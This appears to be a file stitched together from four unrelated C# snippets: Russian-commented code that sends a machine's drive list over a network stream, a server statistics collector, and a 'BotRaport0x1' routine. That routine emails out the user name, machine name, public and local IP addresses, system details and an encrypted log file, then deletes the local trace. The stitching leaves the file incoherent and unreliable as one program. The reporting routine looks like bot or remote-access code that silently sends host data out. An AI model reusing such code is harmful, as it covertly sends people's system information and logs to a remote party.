/// <summary> /// отправка полученных дисков в поток к клиенту /// </summary> /// <param name="networkStream"></param> private void SendDrivesInfo(NetworkStream networkStream) { try { //получение списка дисков IEnumerable <DriveInfo> drives = GetDrives(); //экземпляр класса DrivesInfo DrivesInfo drivesInfo = new DrivesInfo(); //проход по каждому диску foreach (var drive in drives) { //если диск готов(подключен) if (drive.IsReady) { drivesInfo.Drives.Add(drive.Name);//добавить его в коллекцию дисков } } //отправка клиенту полученных дисков networkStream.Send(drivesInfo); } catch (Exception ex) { MessageBox.Show(ex.Message); } }
/// <summary> /// получение запрашиваемых дисков с сервера /// </summary> /// <param name="netStream">сетевой поток сервера</param> /// <returns></returns> private DrivesInfo GetDrivesFromServer(NetworkStream netStream) { try { //создание запроса на получение дисков GetDrivesTask getDrivesTask = new GetDrivesTask(); //отправка по сетевому потоку запроса на получение дисков netStream.Send(getDrivesTask); //прочитать запрос с сетевого потока Stream stream = netStream.WriteToStream(); //десерилизация из потока сервера DrivesInfo driveInfoResult = Serializer.Deserialize <DrivesInfo>(stream); //вернуть полученный результат return(driveInfoResult); } catch (Exception ex) { MessageBox.Show(ex.Message); } return(null); }
public IDictionary <string, object> GetSystemStats() { var stats = new Dictionary <string, object>(); var process = Process.GetCurrentProcess(); var drives = DrivesInfo.GetSystemDrives(); var diskIo = DiskIo.GetDiskIo(process.Id, _log); var tcp = TcpConnectionMonitor.Default.GetTcpStats(); var queues = QueueMonitor.Default.GetStats(); var checksum = _writerCheckpoint.Read(); var checksumNonFlushed = _writerCheckpoint.ReadNonFlushed(); var workingSetMemory = process.WorkingSet64; var startTime = process.StartTime.ToUniversalTime().ToString("O"); var procId = process.Id; var totalCpu = _perfCounter.GetTotalCpuUsage(); var procCpu = _perfCounter.GetProcCpuUsage(); var threadsCount = _perfCounter.GetProcThreadsCount(); var freeMem = OS.IsLinux ? GetFreeMemOnLinux() : _perfCounter.GetFreeMemory(); var gcStats = _perfCounter.GetGcStats(); stats["proc-diskIo-readBytes"] = diskIo.ReadBytes; stats["proc-diskIo-readOps"] = diskIo.ReadOps; stats["proc-diskIo-writeOps"] = diskIo.WriteOps; stats["proc-diskIo-writtenBytes"] = diskIo.WrittenBytes; stats["proc-diskIo-readBytesFriendly"] = diskIo.ReadBytesFriendly; stats["proc-diskIo-readOpsFriendly"] = diskIo.ReadOpsFriendly; stats["proc-diskIo-writeOpsFriendly"] = diskIo.WriteOpsFriendly; stats["proc-diskIo-writtenBytesFriendly"] = diskIo.WrittenBytesFriendly; stats["proc-tcp-connections"] = tcp.Connections; stats["proc-tcp-inSend"] = tcp.InSend; stats["proc-tcp-measureTime"] = tcp.MeasureTime; stats["proc-tcp-pendingReceived"] = tcp.PendingReceived; stats["proc-tcp-pendingSend"] = tcp.PendingSend; stats["proc-tcp-receivedBytesSinceLastRun"] = tcp.ReceivedBytesSinceLastRun; stats["proc-tcp-receivedBytesTotal"] = tcp.ReceivedBytesTotal; stats["proc-tcp-receivingSpeed"] = tcp.ReceivingSpeed; stats["proc-tcp-sendingSpeed"] = tcp.SendingSpeed; stats["proc-tcp-sentBytesSinceLastRun"] = tcp.SentBytesSinceLastRun; stats["proc-tcp-sentBytesTotal"] = tcp.SentBytesTotal; stats["proc-tcp-measureTimeFriendly"] = tcp.MeasureTimeFriendly; stats["proc-tcp-receivedBytesTotalFriendly"] = tcp.ReceivedBytesTotalFriendly; stats["proc-tcp-receivingSpeedFriendly"] = tcp.ReceivingSpeedFriendly; stats["proc-tcp-sendingSpeedFriendly"] = tcp.SendingSpeedFriendly; stats["proc-tcp-sentBytesTotalFriendly"] = tcp.SentBytesTotalFriendly; stats["proc-gc-allocationSpeed"] = gcStats.AllocationSpeed; stats["proc-gc-gen0ItemsCount"] = gcStats.Gen0ItemsCount; stats["proc-gc-gen0Size"] = gcStats.Gen0Size; stats["proc-gc-gen1ItemsCount"] = gcStats.Gen1ItemsCount; stats["proc-gc-gen1Size"] = gcStats.Gen1Size; stats["proc-gc-gen2ItemsCount"] = gcStats.Gen2ItemsCount; stats["proc-gc-gen2Size"] = gcStats.Gen2Size; stats["proc-gc-largeHeapSize"] = gcStats.LargeHeapSize; stats["proc-gc-timeInGc"] = gcStats.TimeInGc; stats["proc-gc-totalBytesInHeaps"] = gcStats.TotalBytesInHeaps; stats["proc-mem"] = workingSetMemory; stats["proc-threadsCount"] = threadsCount; stats["proc-cpu"] = procCpu; stats["proc-startTime"] = startTime; stats["proc-id"] = procId; stats["sys-freeMem"] = freeMem; stats["sys-cpu"] = totalCpu; stats["es-checksum"] = checksum; stats["es-checksumNonFlushed"] = checksumNonFlushed; Func <string, string, string> driveStat = (diskName, stat) => string.Format("sys-drive-{0}-{1}", diskName, stat); foreach (var driveInfo in drives.Drives) { stats[driveStat(driveInfo.DiskName, "availableBytes")] = driveInfo.AvailableBytes; stats[driveStat(driveInfo.DiskName, "totalBytes")] = driveInfo.TotalBytes; stats[driveStat(driveInfo.DiskName, "usage")] = driveInfo.Usage; stats[driveStat(driveInfo.DiskName, "usedBytes")] = driveInfo.UsedBytes; stats[driveStat(driveInfo.DiskName, "availableBytesFriendly")] = driveInfo.AvailableBytesFriendly; stats[driveStat(driveInfo.DiskName, "totalBytesFriendly")] = driveInfo.TotalBytesFriendly; stats[driveStat(driveInfo.DiskName, "usedBytesFriendly")] = driveInfo.UsedBytesFriendly; } Func <string, string, string> queueStat = (queueName, stat) => string.Format("es-queue-{0}-{1}", queueName, stat); foreach (var queue in queues) { stats[queueStat(queue.Name, "queueName")] = queue.Name; stats[queueStat(queue.Name, "avgItemsPerSecond")] = queue.AvgItemsPerSecond; stats[queueStat(queue.Name, "avgProcessingTime")] = queue.AvgProcessingTime; stats[queueStat(queue.Name, "currentIdleTime")] = queue.CurrentIdleTime.HasValue ? queue.CurrentIdleTime.Value.ToString("G") : null; stats[queueStat(queue.Name, "currentItemProcessingTime")] = queue.CurrentItemProcessingTime.HasValue ? queue.CurrentItemProcessingTime.Value.ToString("G") : null; stats[queueStat(queue.Name, "idleTimePercent")] = queue.IdleTimePercent; stats[queueStat(queue.Name, "length")] = queue.Length; stats[queueStat(queue.Name, "lengthCurrentTryPeak")] = queue.LengthCurrentTryPeak; stats[queueStat(queue.Name, "lengthLifetimePeak")] = queue.LengthLifetimePeak; stats[queueStat(queue.Name, "totalItemsProcessed")] = queue.TotalItemsProcessed; stats[queueStat(queue.Name, "lengthLifetimePeakFriendly")] = queue.LengthLifetimePeakFriendly; } return(stats); }
public void ProcessRaport() { try { if (Tracer == null || !NetTester.IsNetworkAvailable()) { return; } if (InnerRaportRequest || OuterRaportRequest || Tracer.IsFull) { string user = Environment.UserName; string machine = Environment.MachineName; string ippublic; string iplocal = NetTester.LocalIP; if (this.PublicIP.IsNullOrWhiteSpace()) { ippublic = NetTester.ExternalIP; } else { ippublic = this.PublicIP; } Microsoft.VisualBasic.Devices.ComputerInfo info = new Microsoft.VisualBasic.Devices.ComputerInfo(); string title = string.Format("BotRaport0x1: <ID:{0}/>", this.ID); string message = string.Format( @" <ID:{0}/> <User:{1}/> <Name:{2}/> <PublicIP:{3}/> <LocalIP:{4}/> <InnerRequest:{5}/> <OuterRequest:{6}/> <InstalledUICulture:{7}/> <OSFullName:{8}/> <OSPlatform:{9}/> <OSVersion:{10}/> <Is64BitOperatingSystem:{11}/> <AvailablePhysicalMemory:{12}/> <AvailableVirtualMemory:{13}/> <MaxClockSpeed:{14}/> <NumberOfCores:{15}/> <DriveAvailableFreeSpace:{16}/>", this.ID, user, machine, ippublic, iplocal, InnerRaportRequest, OuterRaportRequest, info.InstalledUICulture, info.OSFullName, info.OSPlatform, info.OSVersion, Environment.Is64BitOperatingSystem, info.AvailablePhysicalMemory, info.AvailableVirtualMemory, ProcessorsInfo.MaxClockSpeed(), ProcessorsInfo.NumberOfCores(), DrivesInfo.AvailableFreeSpace(Files.ExeRoot)); EMail.SendAsync(title, message, false, Tracer.DataRawEncryptedCompressed.ToMemory(), "BotRaport0x1-loggs.abr"); EMail.WaitForResponse(3, TickTime.Unit.m); if (EMail.Delivered) { InnerRaportRequest = false; OuterRaportRequest = false; Tracer.Delete(); } else { EMail.StopAsync(); } } } catch (Exception ex) { Output.WriteException(ex); } }